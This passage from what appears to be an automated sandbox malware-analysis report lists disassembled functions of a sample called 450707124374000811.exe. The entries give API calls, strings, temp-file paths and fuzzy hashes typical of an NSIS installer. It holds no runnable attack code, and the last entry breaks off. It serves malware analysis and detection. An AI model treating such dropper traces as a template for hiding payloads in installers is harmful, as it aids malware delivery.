Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d3449d240157211f65d4661233ebdf21600f3235833f1e3ab3d1db94ad861236
Instruction ID: dc4ef17723f846daade3f6bb5fabbbbae416fabd81b1269148e1e628f00bda2f
Opcode Fuzzy Hash: d3449d240157211f65d4661233ebdf21600f3235833f1e3ab3d1db94ad861236
Instruction Fuzzy Hash: 9DF08271A04104EFD710EBA4DD499ADB378EF00324F2105BBF515F61D1D7B44E449B1A

Function 00406ADD Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4ae33423394c5bea169515a796ff1213356ce6b05ba1201df3d6212e3a5333
Instruction ID: c2d777d08f91faa28cc29f4af1d325e94f95b1c5ec16d27d51274fd7273dd8ba
Opcode Fuzzy Hash: 5a4ae33423394c5bea169515a796ff1213356ce6b05ba1201df3d6212e3a5333
Instruction Fuzzy Hash: A4E18971A04709DFDB24CF59C880BAAB7F1EB44305F15852EE497AB2D1D778AA91CF04

Function 004043B4 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404452
GetDlgItem.USER32(?,000003E8), ref: 00404466
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404483
GetSysColor.USER32(?), ref: 00404494
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044A2
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044B0
lstrlenW.KERNEL32(?), ref: 004044B5
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044C2
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044D7
GetDlgItem.USER32(?,0000040A), ref: 00404530
SendMessageW.USER32(00000000), ref: 00404537
GetDlgItem.USER32(?,000003E8), ref: 00404562
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045A5
LoadCursorW.USER32(00000000,00007F02), ref: 004045B3
SetCursor.USER32(00000000), ref: 004045B6
LoadCursorW.USER32(00000000,00007F00), ref: 004045CF
SetCursor.USER32(00000000), ref: 004045D2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404601
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404613

Strings

+C@, xrefs: 004045BE
N, xrefs: 00404550
Call, xrefs: 00404591

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: +C@$Call$N
API String ID: 3103080414-3697844480
Opcode ID: 9a2d0ca3c2f6281e852f2d8aeca5f3bca76ad293f1c4d3c8d798300b4eb97cdc
Instruction ID: 544d3524579c470af9434eda2f0c3a81960274dfcdaaec18bef3a5beb83851d9
Opcode Fuzzy Hash: 9a2d0ca3c2f6281e852f2d8aeca5f3bca76ad293f1c4d3c8d798300b4eb97cdc
Instruction Fuzzy Hash: 0C6192B1A00209BFDB109F60DD85AAA7B79FB84345F00843AF605B72D0D779A951CFA8

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433EE0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction ID: 68187ad06c86d7515f13608b457f8be07a0117cb3bcf177897c910b083aea3f1
Opcode Fuzzy Hash: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction Fuzzy Hash: 9A418C71800209AFCF058F95DE459AF7BB9FF44315F00842AF591AA1A0C778EA54DFA4

Function 00405ECE Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406069,?,?), ref: 00405F09
GetShortPathNameW.KERNEL32(?,004308E8,00000400), ref: 00405F12

Part of subcall function 00405CD9: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE9
Part of subcall function 00405CD9: lstrlenA.KERNEL32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D1B

GetShortPathNameW.KERNEL32(?,004310E8,00000400), ref: 00405F2F
wsprintfA.USER32 ref: 00405F4D
GetFileSize.KERNEL32(00000000,00000000,004310E8,C0000000,00000004,004310E8,?,?,?,?,?), ref: 00405F88
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F97
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCF
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,004304E8,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 00406025
GlobalFree.KERNEL32(00000000), ref: 00406036
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040603D

Part of subcall function 00405D74: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
Part of subcall function 00405D74: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

Strings

[Rename], xrefs: 00405FB7, 00405FC9
%ls=%ls, xrefs: 00405F43

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 4764efec6bbb625c57c3953ed88dd39e9a4d7ef93366e848611a72397d906ad3
Instruction ID: 79e357045524b81a8ea21183b2a6189fe473d9766cb3db532b5e95eed637b89f
Opcode Fuzzy Hash: 4764efec6bbb625c57c3953ed88dd39e9a4d7ef93366e848611a72397d906ad3
Instruction Fuzzy Hash: D1315771100B05ABD220AB669D48F6B3A9CDF45744F15003FF902F62D2EA7CD9118ABC

Function 00406516 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00406579
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406588
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 0040658D
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 004065A0

Strings

"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 00406516
C:\Users\user\AppData\Local\Temp\, xrefs: 00406517, 0040651C
*?|<>/":, xrefs: 00406568

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3397512346
Opcode ID: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction ID: 662237d401549a0b86d5a4e6e01ff77a7750504751085e1aca306c60b5ffe750
Opcode Fuzzy Hash: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction Fuzzy Hash: 3911B655800612A5D7303B18BC40AB776B8EF68750B52403FED8A732C5E77C5CA286BD

Function 0040427E Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040429B
GetSysColor.USER32(00000000), ref: 004042B7
SetTextColor.GDI32(?,00000000), ref: 004042C3
SetBkMode.GDI32(?,?), ref: 004042CF
GetSysColor.USER32(?), ref: 004042E2
SetBkColor.GDI32(?,?), ref: 004042F2
DeleteObject.GDI32(?), ref: 0040430C
CreateBrushIndirect.GDI32(?), ref: 00404316

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction ID: b3876bbcbbff373df079470ccdc5149205509338ab7e68b668f4883140def8c6
Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction Fuzzy Hash: B22151B1600704ABCB219F68DE08B5BBBF8AF41714F04897DFD96E26A0D734E944CB64

Function 100022D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002411

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65

Function 004052E6 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 431f9b9f519d5dcc2d02559eb98ffe4ebe6b5718b6beea2b4038e3bce57f3186
Instruction ID: 0b7e0c68d9dca976d3f5af37e2abe0e5b3dfc86658143eccbc3f009734cc3570
Opcode Fuzzy Hash: 431f9b9f519d5dcc2d02559eb98ffe4ebe6b5718b6beea2b4038e3bce57f3186
Instruction Fuzzy Hash: 3F21A171900518BACF11AFA5DD859CFBFB4EF85350F14817AF944B6290C7B98A90CFA8

Function 00404BB0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BCB
GetMessagePos.USER32 ref: 00404BD3
ScreenToClient.USER32(?,?), ref: 00404BED
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BFF
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C25

Strings

f, xrefs: 00404C01

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: fcc096391eddebe8eb85a5aa76d4b30f922b4a39187f2a8acbab72006efdbce5
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 31015E71900218BAEB10DB94DD85BFEBBBCAF95B11F10412BBA50B62D0D7B499418BA4

Function 00402DD7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
MulDiv.KERNEL32(000F45F7,00000064,000F47FB), ref: 00402E20
wsprintfW.USER32 ref: 00402E30
SetWindowTextW.USER32(?,?), ref: 00402E40
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E52

Strings

verifying installer: %d%%, xrefs: 00402E2A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: f82802282f146ff8d7a81516d08dd23d853d0675b9ceba9b20e767ba0194de88
Instruction ID: 0244175548504e0de7267acb57bf05e9e9b1595e8d7e84e5cb6d98a661a40fbb
Opcode Fuzzy Hash: f82802282f146ff8d7a81516d08dd23d853d0675b9ceba9b20e767ba0194de88
Instruction Fuzzy Hash: B6014470640208BBDF209F50DE49FAA3B69BB00304F008039FA46A51D0DBB889558B59

Function 100024A4 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 1000256D
GlobalFree.KERNEL32(00000000), ref: 100025A8

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69

Function 004028A7 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
GlobalFree.KERNEL32(?), ref: 00402950
GlobalFree.KERNEL32(00000000), ref: 00402963
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: f62c8856deeff081086e792091e27b9e6cd03f1654503537dfa884b98f73c81c
Instruction ID: c7dec26b55dd312fec5fb3faf1598927ec34475db9096b9e5e75d52a628400f5
Opcode Fuzzy Hash: f62c8856deeff081086e792091e27b9e6cd03f1654503537dfa884b98f73c81c
Instruction Fuzzy Hash: E521BDB1C00128BBDF216FA5DE49D9E7E79EF08364F10423AF964762E0CB794C418B98

Function 00402592 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsqA869.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsqA869.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED

Strings

C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll, xrefs: 004025AD, 004025D4, 004025E8, 00402634
C:\Users\user\AppData\Local\Temp\nsqA869.tmp, xrefs: 004025DB

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
